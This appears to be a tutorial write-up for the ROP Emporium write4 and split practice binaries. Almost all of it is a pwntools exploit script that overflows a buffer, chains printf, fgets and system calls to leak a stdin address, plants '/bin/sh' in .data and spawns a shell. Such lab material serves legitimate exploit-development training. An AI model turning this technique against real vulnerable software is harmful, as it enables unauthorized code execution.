[ROPEmporium]: Bypassing ASLR and NX

Hi, in this tutorial i'll share how i did the write4 and split from ropemporium, bypassing NX (non executable stack) and ASLR (Address Space Layout Randomization). This script works fine to both examples.

from pwn import *

#context.log_level = "debug" #Enable it to use the pwntools on debug mode

e = ELF("./write432") #Open binary.
p = process(e.path) #Create new process.
p.sendline(cyclic(400)) #send 400 pattern to know where is the overflow.
p.wait()
core = p.corefile #create one core file with eip overflow.

eip_offset = cyclic_find(core.eip) #find correct eip offset

print ""
info("Found eip Offset %d", eip_offset)
print ""

p = process(e.path)
p.recv()

#Searching symbols on the binary

printf = e.symbols["printf"]
main = e.symbols["main"]
stdin = e.symbols["stdin"]
fgets = e.symbols["fgets"]
buffer_mem = 0x0804a028

#buffer_mem is address of .data on binary, you can get it doing:
#readelf -a write432 | grep .data
#readelf -a split32 | grep .data

#creating 1st ROP CHAIN

rop = ROP(e)
rop.call(printf, (stdin,))
rop.call(main , (0,0,0,))
payload = cyclic(eip_offset) + rop.chain()

#eip_offset = 44 (in this case)
#Basically you will "printf" -> "stdin" address and back to main()

print ""
success("ROP CHAIN: " + " ".join([str(hex(x)) for x in unpack_many(rop.chain())]))
print ""

#sending 1st payload to "printf" our "stdin"

p.sendline(payload)
info("Sending payload 1..")

data = p.recv()
leak = unpack(data[0:4]) #receiving the stdin leaked address

success("Found STDIN leak: %#x", leak)


#Creating 2nd ROP CHAIN

rop = ROP(e)
rop.call(fgets, (buffer_mem, 0x15, leak,))
rop.call(main, (0,0,0,))
payload = cyclic(eip_offset) + rop.chain()

#Now we will use "fgets" like "stdin" to input our command, then execute after that with rop.system(buffer_mem)

print ""
success("ROP CHAIN: " + " ".join([str(hex(x)) for x in unpack_many(rop.chain())]))
print ""

#Sending 2nd payload to send rop chain and our command to execute it, in this case "/bin/sh"
p.sendline(payload)
p.sendline("/bin/sh")
info("Sending payload 2...")


#Creating 3th ROP CHAIN

rop  = ROP(e)
rop.system(buffer_mem)  #Executing command
payload = cyclic(eip_offset) + rop.chain()

print ""
success("ROP CHAIN: " + " ".join([str(hex(x)) for x in unpack_many(rop.chain())]))
print ""


#Sending 3th payload with our command executed by fgets.
p.sendline(payload)
info("Sending payload 3...")
p.interactive()